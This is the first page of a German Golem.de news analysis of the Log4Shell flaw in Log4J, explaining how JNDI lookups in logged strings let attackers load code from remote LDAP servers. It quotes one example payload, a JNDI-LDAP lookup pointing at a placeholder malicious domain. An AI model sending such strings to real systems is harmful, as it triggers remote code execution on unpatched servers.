Log4J-Lücke: Warum Log4Shell so gefährlich ist und was (nicht) hilft

Für simple Vorkehrungen gegen die Log4J-Lücke ist es wohl schon zu spät. Warum eigentlich? Fragen und Antworten zu Log4Shell.

Eine Analyse von , und veröffentlicht am
Die Lücke in der Java-Anwendung Log4J wird uns wohl noch sehr lange begleiten.
Die Lücke in der Java-Anwendung Log4J wird uns wohl noch sehr lange begleiten. (Bild: Joe Raedle/Getty Images)

Das Threat-Intelligence-Team von Microsoft, das sich um die Auswertung und Gefahrenanalyse von Sicherheitslücken sowie Schadsoftware kümmert, hat eine erste Analyse zu der Log4Shell genannten Lücke (CVE-2021-44228) in der Logging-Bibliothek Log4J veröffentlicht. Dort betont es: Jedes System mit Log4J muss inzwischen als angegriffen betrachtet werden.

Inhalt:
  1. Log4J-Lücke: Warum Log4Shell so gefährlich ist und was (nicht) hilft
  2. Wie funktioniert die Lücke im Java-Zusammenhang?
  3. Was ist betroffen? Und was hilft gegen Log4Shell?
  4. Wie erkenne ich Angriffe?

Konkret heißt es in der Auswertung von Microsoft: "Da die Vektoren, über die diese Schwachstelle ausgenutzt werden kann, sehr breit gefächert sind und das vollständige Ausspielen von Abhilfemaßnahmen in großen Umgebungen Zeit in Anspruch nehmen wird, empfehlen wir Verteidigern, auf Anzeichen einer nachträglichen Ausnutzung zu achten anstatt sich vollständig auf die Prävention zu verlassen."

Doch konnte eine Lücke in einer Logging-Bibliothek innerhalb weniger Tage nach Bekanntwerden so gravierende Auswirkungen haben, dass Vorkehrungen und das Einspielen von Updates kaum noch helfen? Das liegt einerseits an der extrem weiten Verbreitung von Log4J und andererseits an der Lücke selbst, deren Ausnutzung vergleichsweise einfach ist.

Wie funktioniert die Lücke?

Um das Vorgehen beim Ausnutzen der Lücke zu verstehen, ist es zunächst wichtig zu wissen, was Log4J eigentlich macht: Als Logging-Anwendung zeichnet das Werkzeug Meldungen von Software auf, zum Beispiel Fehlermeldungen, damit diese später noch nachvollzogen werden können. Üblicherweise werden damit aber auch bestimmte weitere Zeichenketten aufgezeichnet, die von außen an eine Anwendung kommen. Das sind etwa der User-Agent eines Browsers, die zur Anmeldung genutzte E-Mail-Adresse oder Nutzernamen oder auch über eine API verschickte Parameter.

Stellenmarkt
  1. Solution Architect (m/w/d) medizinische Dokumentation
    KBV Kassenärztliche Bundesvereinigung, Berlin
  2. Servicemanagerin Finanzwesen (m/w/d)
    Hannoversche Informationstechnologien AöR (hannIT), Hannover (Home-Office möglich)
Detailsuche

Statt einfach nur in eine Log-Datei geschrieben, werden diese Zeichenketten unter bestimmten Umständen auch interpretiert. Grund dafür sind die sogenannten Lookups in der Log4J-Anwendungslogik, mit denen zusätzliche Informationen zur Konfiguration von Log4J hinzugefügt werden können. Das können Attribute eines Docker-Containers oder auch Detailinformationen zur genutzten Java-Instanz sein.

Eine dieser Lookup-Funktionen in Log4J unterstützt das Java Naming and Directory Interface (JNDI). Dieses dient dazu, Referenzen auf Objekte oder Klassen zu laden - auch von entfernten Rechnern. In Log4J sollen damit etwa Variablen geladen werden können, wie es im Manual zu der Lookup-Funktion heißt. Standardmäßig genutzt werden kann der JNDI-Lookup in Log4J über den Verzeichnisdienst LDAP.

  • Der Angriff über log4J-Lücke ermöglich die Ausführung von Code auf den betroffenen Servern. (Grafik: Govcert.ch)
Der Angriff über log4J-Lücke ermöglich die Ausführung von Code auf den betroffenen Servern. (Grafik: Govcert.ch)
Hacking & Security: Das umfassende Handbuch. 2. aktualisierte Auflage des IT-Standardwerks (Deutsch) Gebundene Ausgabe

Als weitere wichtige Erklärung heißt es zu den JNDI-Lookups in Log4J: "Standardmäßig wird der Abfrage das Präfix java:comp/env/ vorangestellt. Wenn der Schlüssel jedoch ein ':' enthält, wird kein Präfix hinzugefügt". Im ersten Fall ist der Aufruf also auf eine bestimmte Umgebung beschränkt, im zweiten aber eben nicht, sodass in diesem Fall auch Referenzen von entfernten Servern geladen werden könnten, wenn etwa LDAP genutzt wird.

Findet sich also in einer von Log4J geloggten Zeichenkette ein JNDI-Lookup-Aufruf, wird dieser ausgeführt. Enthält der Aufruf dann noch ein ":", wird kein Präfix genutzt und der Aufruf selbst also nicht beschränkt. So wird dann eine Referenz über JNDI auch von externen Rechnern geladen. Zum erfolgreichen Ausnutzen der Lücke reicht es letztlich also aus, einen eigenen LDAP-Server zum Verweis auf die Malware zu betreiben und das Ziel mit Log4J dazu zu bringen, den Aufruf zu loggen und dann auszuführen.

Der Aufruf folgt dabei etwa diesem Muster: ${jndi:ldap://boese-domain.golem.de/a}. Ist das angegriffene Ziel im Netz verfügbar, führt dies leicht zu einer Remote-Code-Execution (RCE), also dem Ausführen von Schadcode. Erste Beispiele dafür zeigten Nutzer bereits in der vergangenen Woche für Steam, die iCloud oder die Java-Edition von Minecraft, die mit Hilfe von Chat-Nachrichten übernommen werden konnte.

Bitte aktivieren Sie Javascript.
Oder nutzen Sie das Golem-pur-Angebot
und lesen Golem.de
  • ohne Werbung
  • mit ausgeschaltetem Javascript
  • mit RSS-Volltext-Feed
Wie funktioniert die Lücke im Java-Zusammenhang? 
  1. 1
  2. 2
  3. 3
  4. 4
  5.  


Bolzkopf 02. Jan 2022 / Themenstart

denn in diesen Containern befinden sich oftmals eigene Kopien der Java-Bibiliotheken. Es...

scrumdideldu 23. Dez 2021 / Themenstart

Der letzte Teil stimmt. Es entbindet nicht von jeglicher Verantwortung. Allerdings ist...

gadthrawn 21. Dez 2021 / Themenstart

Die Beispiele bei denen OS wiederholt unsicher ist benötigt es nur aus einem Grund: Zu...

gadthrawn 21. Dez 2021 / Themenstart

Nicht? Weißt du was bei einem String mit% beim loggen passiert in Python? ...

gadthrawn 18. Dez 2021 / Themenstart

Für dich nicht, für andere schon, sonst wäre das nie ein Feature Request gewesen. Es...

Kommentieren



Aktuell auf der Startseite von Golem.de
Sam Zeloof
Student baut Chip mit 1.200 Transistoren

In seiner Garage hat Sam Zeloof den Z2 fertiggestellt und merkt scherzhaft an, Moore's Law schneller umgesetzt zu haben als Intel selbst.

Sam Zeloof: Student baut Chip mit 1.200 Transistoren
Artikel
  1. Xbox Cloud Gaming: Wenn ich groß bin, möchte ich gerne Netflix werden
    Xbox Cloud Gaming
    Wenn ich groß bin, möchte ich gerne Netflix werden

    Call of Duty, Fallout oder Halo: Neue Spiele bequem am Business-Laptop via Stream zocken, klingt zu gut, um wahr zu sein. Ist auch nicht wahr.
    Ein Erfahrungsbericht von Benjamin Sterbenz

  2. IBM: Watson Health anteilig für 1 Mrd. US-Dollar verkauft
    IBM
    Watson Health anteilig für 1 Mrd. US-Dollar verkauft

    Mit Francisco Partners greift eine große Investmentgruppe zu, das Geschäft mit Watson Health soll laut IBM darunter aber nicht leiden.

  3. Lego Star Wars UCS AT-AT aufgebaut: Das ist kein Mond, das ist ein Lego-Modell
    Lego Star Wars UCS AT-AT aufgebaut
    "Das ist kein Mond, das ist ein Lego-Modell"

    Ganz wie der Imperator es wünscht: Der Lego UCS AT-AT ist riesig und imposant - und eines der besten Star-Wars-Modelle aus Klemmbausteinen.
    Ein Praxistest von Oliver Nickel

Du willst dich mit Golem.de beruflich verändern oder weiterbilden?
Zum Stellenmarkt
Zur Akademie
Zum Coaching
  • Schnäppchen, Rabatte und Top-Angebote
    Die besten Deals des Tages
    Daily Deals • MediaMarkt & Saturn: Heute alle Produkte versandkostenfrei • Corsair Vengeance RGB RT 16-GB-Kit DDR4-4000 114,90€ • Alternate (u.a. DeepCool AS500 Plus 61,89€) • Acer XV282K UHD/144 Hz 724,61€ • MindStar (u.a. be quiet! Pure Power 11 CM 600W 59€) • Sony-TVs heute im Angebot [Werbung]
    •  /